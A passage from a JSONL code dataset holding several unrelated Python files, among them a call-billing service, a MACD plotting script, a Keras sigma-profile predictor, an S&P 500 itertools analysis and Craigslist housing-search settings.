Proposition('d'))\n leaves = _get_leaves(formula)\n actual_leaves = {Diamond(Proposition('d')), BoxNot(Proposition('a')),\n Proposition('d')}\n assert leaves == actual_leaves\n\n # def test_is_mono_literal(self):\n # multi_literal = {-1, -3, -1}\n # assert Clauses.is_mono_literal(multi_literal) is False\n # mono_literal = {-1}\n # assert Clauses.is_mono_literal(mono_literal) is True\n #\n # def test__unit_propagate(self):\n # clauses = Clauses.from_int([\n # {1, 2},\n # {-1, -2},\n # {2, 3, 4},\n # {-1, -3},\n # ])\n # expected = [{-3, -1}, {-1}]\n # clauses.unit_propagate(2)\n # assert clauses.clauses == expected\n #\n # def test_contains_only_mono_literals(self):\n # multi_literal = {-1, -3, -1}\n # assert Clauses.is_mono_literal(multi_literal) is False\n # mono_literal = {-1}\n # assert Clauses.is_mono_literal(mono_literal) is True\n #\n # def test__find_pure_literals(self):\n # clauses = Clauses.from_int([\n # {-1, -3},\n # {-2, 1, 5},\n # set(),\n # {-1},\n # ])\n # pure_literals = {-2, -3, 5}\n # assert clauses.find_pure_literals() == pure_literals\n #\n # @pytest.mark.skip(reason=\"Not yet implemented\")\n # def test_find_mono_literals(self):\n # assert False\n #\n # @pytest.mark.skip(reason=\"Not yet implemented\")\n # def test_is_consistant_set_of_literals(self):\n # assert False\n #\n # @pytest.mark.skip(reason=\"Not yet implemented\")\n # def test_convert_literals_to_integers(self):\n # assert False\n #\n # @pytest.mark.skip(reason=\"Not yet implemented\")\n # def test_contains_empty_clause(self):\n # assert False\n","sub_path":"tests/sat_solver/clauses_test.py","file_name":"clauses_test.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"18587561","text":"from datetime import datetime\nimport calendar\nfrom ..rules import calculate_tarif, calculate_total_call_duration\nfrom .BillBiz import BillBiz\nfrom .TelephoneBiz import TelephoneBiz\nfrom ..verifiers import CallVerifier\nfrom ...models.models import Call, Bill\nfrom ...database import db_conn\n\n\nclass CallBiz:\n\n def __init__(self, req_data, resp_data):\n self.req_data = CallVerifier.normalize_field_values(req_data)\n self.resp_data = resp_data\n\n @staticmethod\n def get_or_none(id):\n return CallBiz.get_or_none(id=id)\n\n @staticmethod\n def get_calls_by_source(source):\n return Call.select().where(Call.source == source)\n\n @staticmethod\n def get_calls_by_period(period):\n period = str(period) if not isinstance(period, str) else period\n period = [int(p) for p in period.split('/')]\n last_day = calendar.monthrange(period[1], period[0])[1]\n start = datetime.strptime(f'01/{period[0]}/{period[1]}', '%d/%m/%Y')\n end = datetime.strptime(f'{last_day}/{period[0]}/{period[1]}', '%d/%m/%Y')\n return Call.select().where(Call.timestamp.between(start.timestamp(), end.timestamp()))\n\n @staticmethod\n def save_call_end(destination, call_id):\n \"\"\"After a call end, generate and record the Bill value of the start and end call.\"\"\"\n call_start = Call.get_or_none(type='start', call_id=call_id)\n call_end = Call.get_or_none(type='end', call_id=call_id)\n if call_start and call_end:\n t_duration = calculate_total_call_duration(call_start.timestamp, call_end.timestamp)\n tarif = calculate_tarif(call_start.timestamp, call_end.timestamp)\n\n model = Bill(\n call_id=call_id,\n destination=destination,\n call_start_date=call_start.timestamp.date(),\n call_start_time=call_start.timestamp.time(),\n call_duration=t_duration,\n call_price=tarif)\n if BillBiz.save(model):\n return True\n return False\n\n def save(self):\n self.resp_data['status'] = 406\n self.resp_data['message'] = 'Not Acceptable : Please verify if all fields and values are correct.'\n\n problem = False\n\n missing_fields = CallVerifier.check_for_all_fields(self.req_data)\n if len(missing_fields) > 0:\n problem = True\n self.resp_data['status'] = 409\n self.resp_data['message'] = 'Conflict : Missing fields in your request, check the docs.'\n\n wrong_field_values = CallVerifier.validate_fields_values(self.req_data)\n if len(wrong_field_values) > 0:\n problem = True\n self.resp_data['status'] = 409\n self.resp_data['message'] = 'Conflict : Wrong field values in your request, check the docs.'\n\n if not problem:\n with db_conn.atomic():\n source = TelephoneBiz().save_and_get(self.req_data['source'])\n destination = TelephoneBiz().save_and_get(self.req_data['destination'])\n if source and destination:\n call_model = Call()\n call_model.type = self.req_data['type']\n call_model.timestamp = datetime.fromtimestamp(float(self.req_data['timestamp']))\n call_model.call_id = self.req_data['call_id']\n call_model.source = source\n call_model.destination = destination\n mod = call_model.save(force_insert=True)\n if mod > 0:\n CallBiz.save_call_end(call_model.destination, call_model.call_id)\n self.resp_data['status'] = 201\n self.resp_data['success'] = True\n self.resp_data['message'] = 'Created : New call recorded in database.'\n return self.resp_data\n\n def save_and_get(self):\n missing_fields = CallVerifier.check_for_all_fields(self.req_data)\n if len(missing_fields) > 0:\n return None\n wrong_field_values = CallVerifier.validate_fields_values(self.req_data)\n if len(wrong_field_values) > 0:\n return None\n\n with db_conn.atomic():\n source = TelephoneBiz().save_and_get(self.req_data['source'])\n destination = TelephoneBiz().save_and_get(self.req_data['destination'])\n if source and destination:\n call_model = Call()\n call_model.type = self.req_data['type']\n call_model.timestamp = datetime.fromtimestamp(float(self.req_data['timestamp']))\n call_model.call_id = self.req_data['call_id']\n call_model.source = source\n call_model.destination = destination\n mod = call_model.save(force_insert=True)\n if mod > 0:\n return CallBiz.get_or_none(call_model.id)\n return None\n","sub_path":"src/business/biz/CallBiz.py","file_name":"CallBiz.py","file_ext":"py","file_size_in_byte":4925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"108739324","text":"# encoding: utf-8\n\"\"\" 指数移动均线和MACD\n\"\"\"\n\nimport pandas as pd\nimport talib\nimport matplotlib.pyplot as plt\n\ndf = pd.read_csv('000001.XSHE.csv')\n\n# Fix 结构\ndf.index = pd.to_datetime(df.iloc[:, 0], format='%Y-%m-%d')\ndf = df.iloc[:, 1:]\n\n\n# 指数移动均线\ndf['EMA12'] = talib.EMA(df['close'], timeperiod=6)\ndf['EMA26'] = talib.EMA(df['close'], timeperiod=12)\n\n# 调用talib计算MACD指标 MACD(12,26,9)\n# 返回的数据分别为短期慢线DIF、长期快线DEA及MACD\ndf['DIF'], df['DEA'], df['MACD'] = talib.MACD(df['close'], fastperiod=12, slowperiod=26, signalperiod=9)\n# BAR = (DIF-DEA) * 2\ndf['MACD'] = df['MACD'] * 2 # 注意:这里talib 第三个仅仅为差值,BAR 的计算公式需要*2\n\n\ndf2 = df.loc[:, ['DIF','DEA']]\n\nplt.figure(figsize=(10, 3)) # plt.figure 定义一个图像窗口-名词:数字,人物,图形\nplt.plot(df2['DIF'], color='orange') # plt.plot 画(x, y)曲线\nplt.plot(df2['DEA']) # plt.plot 画(x, y)曲线\nplt.show() # plt.show 显示图像\n\n\n","sub_path":"talib/02_MACD.py","file_name":"02_MACD.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"479320981","text":"class Book(object):\n def __init__(self, title, author):\n self.title = title\n self.author = author\n \nclass EBook(Book):\n def __init__(self, title, author, file):\n super().__init__(title,author)\n self.file = file\n\nclass TextBook(Book):\n def __init__(self, title, author, pages):\n super().__init__(title,author)\n self.pages = pages \n\ne_obj_1 = EBook(\"XYZ\", \"John Doe\", \"dir1\")\nprint(f\"{e_obj_1.title} {e_obj_1.author} {e_obj_1.file}\")\ntb1 = TextBook(\"ABC\", \"Jane Doe\", 600)\nprint(f\"{tb1.title} {tb1.author} {tb1.pages}\")\n","sub_path":"07-ObjectOrientedProgramming/afterclass/15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"257810221","text":"import numpy as np\nfrom keras.layers import Dense, Input, LSTM, Embedding\nfrom keras.models import Model, load_model\nfrom keras.callbacks import EarlyStopping, CSVLogger, ModelCheckpoint, TensorBoard\nimport subfunc_1 as subs\nimport pandas as pd\nfrom keras import backend as K\nfrom sklearn.model_selection import train_test_split\nfrom keras.optimizers import Adam\n\nK.clear_session()\n\ndata_split = 0.8\nR2_bound = 0.8\n# select data\nsigma_train = pd.read_csv('./DataPool/sigma.csv', index_col=None, header=None).values\ncompound_train0 = list(pd.read_csv('./DataPool/compound.csv', index_col=None, header=None)[0])\ncompound_test0 = pd.read_csv('./DataPool/select data/compound_test.csv', index_col=None, header=None)\nsmile_train = pd.read_csv('./DataPool/smiles.csv', index_col=None, header=None).values\nsmile_test = pd.read_csv('./DataPool/select data/smile_test.csv', index_col=None, header=None).values\n'''\nxtrain = smile_train[:, :50]\nxtest = smile_test[:, :50]\nytrain = sigma_train[:, :51]\nytest = sigma_test[:, :51]\ncompound_train = list(compound_train0[0])\ncompound_test = list(compound_test0[0])\n'''\n\nxtrain, xtest = train_test_split(smile_train, test_size=0.2, random_state=33)\nytrain, ytest = train_test_split(sigma_train, test_size=0.2, random_state=33)\ncompound_train, compound_test = train_test_split(compound_train0, test_size=0.2, random_state=33)\n\n# sigma calculator training\n\n# choose embedding layer model\nfor i in range(1, 2):\n if i <= 1:\n output_dim = 500 # i * 10\n elif 1 < i <= 2:\n output_dim = 500\n else:\n output_dim = 800\n K.clear_session()\n print(\"i = \", i)\n model_name = './model_save/sigma_Dense_model_171_40k_test.h5'\n optimizer = Adam(0.001, 0.9, clipnorm=1)\n embedding = load_model('./model_save/embedding171K_MA & MO & T500_200.h5', custom_objects={'r2':subs.r2})\n x_embedding = embedding.predict(xtrain)\n x_embedding_test = embedding.predict(xtest)\n # Input\n input_shape = Input(batch_shape=(None, 50, output_dim))\n # Embedding\n LSTM1 = LSTM(units=500, return_sequences=False, stateful=False, activation='tanh', dropout=0.5,\n recurrent_dropout=0.5)(input_shape)\n Dense1 = Dense(units=1000, activation='relu')(LSTM1)\n Dense1 = Dense(units=1000, activation='relu')(Dense1)\n\n calculator = Dense(units=51, activation='relu', name='sigma')(Dense1)\n\n Dense_model = Model(input=input_shape, output=calculator)\n Dense_model.summary()\n # Callbacks\n #visualization_callback = TensorBoard(write_graph=True, write_images=True)\n EarlyStopping_callback = EarlyStopping(patience=100, monitor='val_loss', mode='min')\n CSVLogger_callback = CSVLogger('./logs.csv')\n weight_save_callback = ModelCheckpoint(model_name,\n monitor='val_loss', verbose=0,\n save_best_only=True, mode='min', period=1)\n\n # model compile\n Dense_model.compile(optimizer=optimizer, loss='mse', metrics=[subs.r2])\n Dense_model.fit(x_embedding, ytrain,\n nb_epoch=5000,\n batch_size=100,\n validation_data=(x_embedding_test[:64], ytest[:64]),\n shuffle=True, callbacks=[CSVLogger_callback, weight_save_callback, EarlyStopping_callback,\n ])\n\n # save model\n Dense_model.save(model_name)\n\n # test\n#model_name = './model_save/sigma_Dense_model_171_40k.h5'\nmodel_name = './model_save/sigma_Dense_model_171_40k_4D.h5'\noutput_dim = 500\nembedding = load_model('./model_save/embedding171K_MA & MO & T500_200.h5')\nx_embedding = embedding.predict(xtrain)\nx_embedding_test = embedding.predict(xtest)\nDense_model = load_model(model_name, custom_objects={'r2': subs.r2})\n # Dense_model = load_model('sigma_Dense_model.h5', custom_objects={'r2': subs.r2})\ny_train_pred = Dense_model.predict(x_embedding)\ny_test_pred = Dense_model.predict(x_embedding_test)\nloss = Dense_model.evaluate(x=x_embedding_test, y=ytest, batch_size=2000)\nprint('\\ntest loss:', loss)\n\n\n # picture output\nSW_pic_output = 1\nr2_c_train = subs.draw_sigma(ytrain, y_train_pred, compound_train, 'Train', SW_pic_output, '4D',\n bound=R2_bound)\nr2_c_test = subs.draw_sigma(ytest, y_test_pred, compound_test, \"Test\", SW_pic_output, '4D', bound=R2_bound)\n","sub_path":"properties prediction/Sigma Profile/sigma_profile_predictor.py","file_name":"sigma_profile_predictor.py","file_ext":"py","file_size_in_byte":4351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"192702389","text":"import time\nimport functools\nfrom collections import namedtuple\nimport itertools\nimport csv\nimport os\nimport timeit\nimport copy\nimport datetime\nfrom memory_profiler import profile, memory_usage\n\nos.chdir('/Users/ilja/Dropbox/realpython/itertools_tut')\n\n# count the length\n# with open('sp500.csv', 'r') as f:\n# reader = csv.reader(f)\n# print(len(list(reader)))\n\n# ==============================================================================\n# PART 1\n# Read data from the CSV file and transform it into a sequence gains of daily percent changes using the “Adj Close” column.\n\n\ndef open_sp500():\n with open('sp500.csv', 'r') as f:\n reader = csv.DictReader(f)\n\n # naive - 0.864s\n # days = []\n # for row in reader:\n # days.append(float(row['Adj Close'].strip()))\n # return days\n\n # better - 0.053s\n for row in reader:\n yield float(row['Adj Close'].strip())\n\n\ndef pairwise(iter1, iter2=None):\n if iter2 == None:\n iter1, iter2 = itertools.tee(iter1)\n next(iter2, None)\n return zip(iter1, iter2)\n\n\ndef calc_daily_gains(days):\n\n # print('running')\n\n # ==========================================================================\n # EXPECTING AN ITERABLE\n\n # naive - 0.19s\n # gains = []\n # for i, day in enumerate(days):\n # try:\n # gain = (day - days[i-1]) / days[i-1]\n # gains.append(gain)\n # except ZeroDivisionError:\n # gains.append(0)\n # return gains\n\n # better 0.13s\n # for i, day in enumerate(days):\n # yield (day - days[i-1]) / days[i-1]\n\n # ==========================================================================\n # EXPECTING AN ITERATOR\n\n # naive = 0.14s\n # gains = []\n # pairs = pairwise(days)\n # for pair in pairs:\n # gain = (pair[1] - pair[0]) / pair[0]\n # gains.append(gain)\n # return gains\n\n # better = 0.05s\n pairs = pairwise(days)\n for pair in pairs:\n yield (pair[1] - pair[0]) / pair[0]\n\n\ndays = open_sp500()\ngains = calc_daily_gains(days)\n\n\n# ==============================================================================\n# PART 2\n# Find the maximum and minimum values of the gains sequence, and the date on which they occur. (Note that it is possible that these values are attained on more than on date; in that case, the most recent date will suffice.)\n\n\ndef get_dates():\n with open('sp500.csv', 'r') as f:\n reader = csv.DictReader(f)\n\n for row in reader:\n yield row['Date'].strip()\n\n\ndates = get_dates()\ngains_dates = pairwise(gains, dates)\ndates_gains = ((dates, gains) for (gains, dates) in gains_dates)\n# print(len(list(dates_gains))) #makes sense that it's 17190. We lost 1 line because it's a header and we lost 1 line because we were calcualting returns on 1+\n\n# NOTE: this is not the most efficient way. Every time I exhaust an iterator, it's the same as looping over a list. So I effectively create and loop over 3 lists in my version of the code.\ndates_gains_1, dates_gains_2, dates_gains_3 = itertools.tee(dates_gains, 3)\n\nmax_tuple = max(dates_gains_1, key=lambda x: x[1])\nmin_tuple = min(dates_gains_2, key=lambda x: x[1])\n\n# ==============================================================================\n# PART 3\n# Transform gains into a sequence growth_streaks of tuples of consecutive positive values in gains. Then determine the length of the longest tuple in growth_streaks and the beginning and ending dates of the streak. (It is possible that the maximum length is attained by more than one tuple in growth_streaks; in that case, the tuple with the most recent beginning and ending dates will suffice.)\n\n\ndef positive_negative(tup):\n gain = tup[1]\n if gain >= 0:\n return 'positive'\n else:\n return 'negative'\n\n\npos_neg_groups = itertools.groupby(dates_gains_3, key=positive_negative)\n\nL = []\nfor key, group in pos_neg_groups:\n # I wonder if this is inefficient?\n group = list(group)\n start_date = group[0][0]\n length = len(group)\n # end date\n start_date_dt = datetime.datetime.strptime(start_date, '%Y-%m-%d')\n end_date_dt = start_date_dt + datetime.timedelta(days=int(length))\n end_date = end_date_dt.strftime('%Y-%m-%d')\n L.append((key, length, start_date, end_date))\n\n# is this another O(N) operation?\nL = sorted(L, key=lambda x: x[1], reverse=True)\n\n\nprint(max_tuple)\nprint(min_tuple)\nprint(L[0])\n\n\n# ==============================================================================\n\"\"\"\nCONCLUSIONS:\n\n1. List comprehension is shorter, sometimes harder to read, but has NO IMPACT on execution speed\n2. Using generators increases speed massively - in my case 20x for a CSV with 17k rows\n3. timeit.timeit(lambda: calc_daily_gains(days), number=10) = super fucking useful\n\nQS:\n1. Can I have a list of all operations in python and their complexity?\n\nYes - here - https://wiki.python.org/moin/TimeComplexity\nThey don't have tuples in there\nIn general tuples slightly faster than lists - But you should test on your own computer\n\n# test tuple creation - 12 nsec\npython -m timeit \"x=(1,2,3,4,5)\"\n# test list creation - 62 nsec\npython -m timeit \"x=[1,2,3,4,5]\"\n# test tuple accesss - 32 nsec\npython -m timeit \"x=(1,2,3,4,5)\" \"y=x[3]\"\n# test list access - 82 nsec\npython -m timeit \"x=[1,2,3,4,5]\" \"y=x[3]\"\n\n\"\"\"\n\n\n# ==============================================================================\n# REAL PYTHON VERSION\n\n# 1 - import data\n# they've created a custom subclass of namedtuple class\n# so not just a instance of a namedtuple itself - but a subclass of a class\nclass DataPoint(namedtuple('ADataPoint', ['date', 'value'])):\n __slots__ = ()\n\n # knowing that they'll have to compare them later they've added these methods\n def __le__(self, other):\n return self.value <= other.value\n\n def __lt__(self, other):\n return self.value < other.value\n\n def __ge__(self, other):\n return self.value >= other.value\n\n def __gt__(self, other):\n return self.value > other.value\n\n\ndef read_prices(csvfile, _strptime=datetime.datetime.strptime):\n # then they read the prices and dates (2 pieces of info we need) into that custom datastructure\n with open(csvfile) as f:\n reader = csv.DictReader(f)\n for row in reader:\n yield DataPoint( # using yield like I did\n date=_strptime(row['Date'], '%Y-%m-%d').date(),\n value=float(row['Adj Close'])\n )\n\n\ndef consecutive_positives(sequence, zero=0):\n def _consecutives():\n # take the seq > turn into an iterator > keep repeating that iterator\n for i in itertools.repeat(iter(sequence)):\n # for each iterator produce a tuple\n yield tuple(\n # that contains all positives\n itertools.takewhile(\n lambda p: p > zero,\n # of another list that also contains only positives, made out of the original iterator\n itertools.dropwhile(lambda p: p <= zero, i)\n )\n )\n # finally return the length of those tuples\n return itertools.takewhile(lambda t: len(t), _consecutives())\n\n\nprices = tuple(read_prices('SP500.csv'))\n\n# 2 - calc gains\n# I really like how they're accessing elements with names - very readable\n# zipping the list with one slightly off - seems an easier solution than defining a custom function, which is what I did\n\n\ndef calc_gains():\n \"\"\"The choice of storing the data in a tuple is intentional.\n Although you could point gains to an iterator, you will need to iterate over the data twice to find the minimum and maximum values.\n If you use tee() to create two independent iterators, exhausting one iterator to find the maximum will create a copy of all of the data in memory for the second iterator.\n By creating a tuple up front, you do not lose anything in terms of space complexity compared to tee(), and you may even gain a little speed.\"\"\"\n return tuple(DataPoint(price.date, (price.value/prev_price.value-1)) for prev_price, price in\n zip(prices, prices[1:]))\n\n\ngains = calc_gains()\n\n# 3 - calc max and min\nzdp = DataPoint(None, 0)\nmax_gain = functools.reduce(max, itertools.filterfalse(lambda p: p <= zdp, gains))\nmax_loss = functools.reduce(min, itertools.filterfalse(lambda p: p > zdp, gains))\n\n\n# 4 - calc longest streak\ngrowth_streaks = consecutive_positives(gains, zero=zdp)\nlongest_streak = functools.reduce(lambda x, y: x if len(x) > len(y) else y, growth_streaks)\n\nprint(f'max gain: {round(max_gain.value*100,2)} %')\nprint(f'max loss: {round(max_loss.value*100,2)} %')\nprint('longest growth streak: {num_days} days ({first} to {last})'.format(\n num_days=len(longest_streak),\n first=longest_streak[0].date,\n last=longest_streak[-1].date\n))\n\n\n# ==============================================================================\n\"\"\"\nLEARNINGS FROM RP:\n\n1. using namedtuples to create custom data structures - very interesting!\n- memory efficient (don't havee a __dict__ field, which is used to store all of the attributes of an object in python)\n- immutable\n- can be used as an alternative to classes, if immutability / efficiency is important\n\n2. __slots__ - if defined the class will use this to store attributes instead of __dict__, thus saving memory\n- classes with slots are halfway between namedtuples and full blown classes\n- take a look below this comment to see what it looks like\n\nhttp://maurodec.com/blog/classes-namedtuples-slots/\n\n\n3. I like how they created a custom subclass with comparison methods baked in that look up the value attribute.\nI didn't do that and so I had to constantly define how max/min works through indexing\n\n4. I like the nice \"named\" access namedtuple gives them to their attributes - vs indexing which is less readable\n\n5. reduce function new to me\n\n6. really simple way to shift the list [1:]\n\n\nNow let's talk efficiency\n- they import the data using yield, which is exactly how I did it\n\n\"\"\"\n\n\n# class withSlots(object):\n# __slots__ = ('int1', 'int2', 'int3')\n#\n# def __init__(self, int1, int2, int3):\n# self.int1 = int1\n# self.int2 = int2\n# self.int3 = int3\n#\n#\n# c = withSlots(1, 2, 3)\n# print(c.int1)\n\n# NOTE: the below is kinda useful to measure time complexity, but not really space complexity\n# print('-'*100)\n# print('mine')\n# print(timeit.timeit(open_sp500, number=100))\n# print(timeit.timeit(get_dates, number=100))\n# print(timeit.timeit(lambda: calc_daily_gains(days), number=100))\n# print('RP')\n# print(timeit.timeit(lambda: read_prices('SP500.csv'), number=100))\n# print(timeit.timeit(lambda: tuple(read_prices('SP500.csv')), number=100))\n# print(timeit.timeit(calc_gains, number=100))\n\n# returns memory for each line of function\nprint('-'*100)\n\nfunc = open_sp500\nprint(f'calcing for.....{func}')\nm = memory_usage(func)\nprint(m)\n\nfunc = calc_daily_gains\nprint(f'calcing for.....{func}')\nm = memory_usage((func, (days,)))\nprint(m)\n\nfunc = read_prices\nprint(f'calcing for.....{func}')\nm = memory_usage((func, ('SP500.csv',)))\nprint(m)\n\nfunc = calc_gains\nprint(f'calcing for.....{func}')\nm = memory_usage(func)\nprint(m)\n","sub_path":"itertools_tut/iljas_sp500.py","file_name":"iljas_sp500.py","file_ext":"py","file_size_in_byte":11188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"297949435","text":"# If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23.\n#\n# Find the sum of all the multiples of 3 or 5 below 1000.\nfalseSolution = list()\n\n# wrong solution\nfor i in range(1000):\n if i % 3 == 0:\n falseSolution.append(i)\n if i % 5 == 0:\n falseSolution.append(i)\n\n# the above sums to 266333\n\nrightSolution = list()\n\n# right solution\nfor i in range(1000):\n if i % 3 == 0:\n rightSolution.append(i)\n elif i % 5 == 0:\n rightSolution.append(i)\n\n# the above sums to 233168\n","sub_path":"Multiples of 3 and 5/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"262281034","text":"from Piece import *;\n\nclass Transporterpad(Piece):\n\n\tdef __init__( self, posX, posY, isWhite):\n\t#Transport Pad Must no equal 0 or 1, but rather 2 and 3 to in\n\t\tself._isWhite= isWhite +2;\n\t\tself._posX= posX\n\t\tself._posY= posY\n\n\t\tself._pieceLetter='t'\t\t\n\t\tif(isWhite):\n\t\t\tself._pieceLetter='T'\n\n\t#Returns a List of Positions this Piece can move onto\n\n\t# CurrentPlayerTurn :0 = White, 1= Black\n\tdef Calc_PotentialMoves( self, board, currentPlayer, boardNum):\n\t\t\n\t\treturn 0\n\n","sub_path":"3700_ai/Testing/Megamind_v6/Transporterpad.py","file_name":"Transporterpad.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"549879555","text":"import os\n\nMIN_PRICE = 1500\nMAX_PRICE = 2000\nMIN_BEDROOMS = 2\nMIN_BATHROOMS = 1\nMIN_FT2 = 591\n\nCATS_OK = True\nLAUNDRY_IN_UNIT = True\n\nCRAIGSLIST_SITE = 'losangeles'\n\n# What Craigslist subdirectories to search on.\n# For instance, https://sfbay.craigslist.org/eby/ is the East Bay, and https://sfbay.craigslist.org/sfc/ is San Francisco.\n# You only need the last three letters of the URLs.\nAREAS = [\"wst\", \"lac\", \"lgb\"]\n\n# A list of neighborhoods and coordinates that you want to look for apartments in. Any listing that has coordinates\n# attached will be checked to see which area it is in. If there's a match, it will be annotated with the area\n# name. If no match, the neighborhood field, which is a string, will be checked to see if it matches\n# anything in NEIGHBORHOODS.\nBOXES = {\n \"south_bay\": [\n [-118.44017,33.825649],\n [-118.352623,33.932109],\n ],\n \"beach\": [\n [-118.56102,33.945638],\n [-118.408241,34.058064],\n ],\n \"west_hollywood\": [\n [-118.469353,34.011119],\n [-118.360863,34.114647],\n ],\n \"hollywood_silverlake\": [\n [-118.346443,34.074844],\n [-118.247566,34.1155],\n ],\n \"koreatown\": [\n [-118.346786,34.034737],\n [-118.271599,34.075128],\n ],\n \"downtown\": [\n [-118.283787,34.030612],\n [-118.191948,34.076266],\n ],\n}\n\n# A list of neighborhood names to look for in the Craigslist neighborhood name field. If a listing doesn't fall into\n# one of the boxes you defined, it will be checked to see if the neighborhood name it was listed under matches one\n# of these. This is less accurate than the boxes, because it relies on the owner to set the right neighborhood,\n# but it also catches listings that don't have coordinates (many listings are missing this info).\nNEIGHBORHOODS = [\"weho\", \"west hollywood\", \"hollywood\", \"santa monica\", \"venice\", \"marina del rey\", \"playa vista\", \"culver city\", \"larchmont village\", \"mar vista\", \"studio city\", \"palms\", \"westwood\", \"beverly hills\", \"la brea\", \"crescent\", \"carthay\", \"wilshire\", \"jefferson park\", \"cienega\", \"koreatown\", \"manhattan beach\", \"hermosa beach\", \"redondo beach\", \"echo park\", \"silver lake\", \"silverlake\", \"whitley heights\", \"century city\", \"el segundo\", \"playa del rey\"]\n\n## Transit preferences\n\n# The farthest you want to live from a transit stop.\nMAX_TRANSIT_DIST = 99 # kilometers\n\n# Transit stations you want to check against. Every coordinate here will be checked against each listing,\n# and the closest station name will be added to the result and posted into Slack.\nTRANSIT_STATIONS = {}\n\n## Search type preferences\n\n# The Craigslist section underneath housing that you want to search in.\n# For instance, https://sfbay.craigslist.org/search/apa find apartments for rent.\n# https://sfbay.craigslist.org/search/sub finds sublets.\n# You only need the last 3 letters of the URLs.\nCRAIGSLIST_HOUSING_SECTION = 'apa'\n\n## System settings\n\n# How long we should sleep between scrapes of Craigslist.\n# Too fast may get rate limited.\n# Too slow may miss listings.\nSLEEP_INTERVAL = 20 * 60 # 20 minutes\n\n# Which slack channel to post the listings into.\nSLACK_CHANNEL = \"#housing\"\n\n# The token that allows us to connect to slack.\n# Should be put in private.py, or set as an environment variable.\nSLACK_TOKEN = os.getenv('SLACK_TOKEN', \"\")\n\n# Any private settings are imported here.\ntry:\n from private import *\nexcept Exception:\n pass\n\n# Any external private settings are imported from here.\ntry:\n from config.private import *\nexcept Exception:\n pass\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"439359846","text":"import os\r\nfrom tree import Tree\r\nimport torch\r\n\r\nhomedic = os.getcwd()\r\n\r\n\r\ndef build_tree(event):\r\n '''\r\n input: a batch of events [prev, arg0, arg1, arg2], a list of vertex id\r\n\r\n shape: (batchsize x 4 x arg.max_word_length)\r\n\r\n '''\r\n # prev, arg0, arg1, arg2 = event\r\n\r\n tree = Tree()\r\n tree.idx = 0\r\n ev_len = event.shape[1]\r\n id_ls = list(range(ev_len))\r\n tree.parent = 0\r\n for arg in id_ls[1:]:\r\n argtree = Tree()\r\n argtree.idx = arg\r\n tree.add_child(argtree)\r\n return tree\r\n\r\n\r\ndef print_tree(tree, level):\r\n indent = ''\r\n for i in range(level):\r\n indent += '| '\r\n line = indent + str(tree.idx)\r\n print(line)\r\n for i in range(tree.num_children):\r\n print_tree(tree.children[i], level+1)\r\n\r\n\r\ndef load_doc(file_name):\r\n with open(file_name) as f:\r\n lines = f.readlines()\r\n return [l.strip() for l in lines] # delete space\r\n\r\n\r\ndef load_sent(file_name):\r\n docs = []\r\n doc = []\r\n with open(file_name) as f:\r\n lines = f.readlines()\r\n for line in lines:\r\n if line == \"******\\n\":\r\n docs.append(doc)\r\n # docs += doc\r\n doc = []\r\n else:\r\n doc.append(line.strip())\r\n return docs\r\n\r\n\r\n\r\ndef list2doc(docs):\r\n \"\"\"\r\n convert a list of sentences to a single document\r\n \"\"\"\r\n doc_docs = []\r\n s = ''\r\n for doc in docs:\r\n if isinstance(doc, tuple):\r\n doc = doc[0]\r\n else:\r\n doc = doc\r\n for sent in doc:\r\n s += sent + ' '\r\n doc_docs.append(s)\r\n s = ''\r\n return doc_docs\r\n\r\n\r\ndef list2file(docs, file):\r\n with open(file, 'a') as f:\r\n for doc in docs:\r\n f.write(doc[0])\r\n f.write('\\n')\r\n\r\n\r\nif __name__ == '__main__':\r\n print()\r\n\r\n\r\n","sub_path":"scripts/data_utilities.py","file_name":"data_utilities.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"195100221","text":"#!/bin/env python\n\n# Runs Hub Detect on a standard set of test projects, gathers and then publishes the metrics\n# for comparision purposes\n#\n\nimport boto3 # for interfacing to AWS\nimport csv\nfrom datetime import datetime\nfrom hub_detect_wrapper import HubDetectWrapper\nimport logging\nimport multiprocessing\nimport os.path\nfrom pprint import pprint\nimport threading\n\n# should be a relative path so we can relocate all the outputs whereever we want, see below\nTEST_PROJECTS_FOLDER=\"./test_projects\"\n\n# Add another disctionary for each test project that will be part of the test project list\nTEST_PROJECTS=[\n\t{'project_name': 'TEST-PROBE-showcase-%s' % i, 'version': '2.3.30', 'folder' : '%s/showcase%s' % (TEST_PROJECTS_FOLDER, i)} for i in range(1,51)\n]\n\nclass HubPerformanceProbe:\n\t'''Starting with one thread test the performance of the hub server by running hub detect on a known project.\n\tGradually increase the concurrency up to the limits of the host machine to probe how the hub server performs \n\twith increased concurrency.\n\t'''\n\tdef __init__(\n\t\t\tself, \n\t\t\thub_url, \n\t\t\thub_user=\"sysadmin\", \n\t\t\thub_password=\"blackduck\",\n\t\t\tcsv_output_file=\"out.csv\",\n\t\t\tinitial_threads=1,\n\t\t\titerations=4,\n\t\t\tmax_threads=-1,\n\t\t\tdetect_output_base_dir=None):\n\t\tself.hub_url = hub_url\n\t\tself.hub_user = hub_user\n\t\tself.hub_password = hub_password\n\t\tself.detect_options = 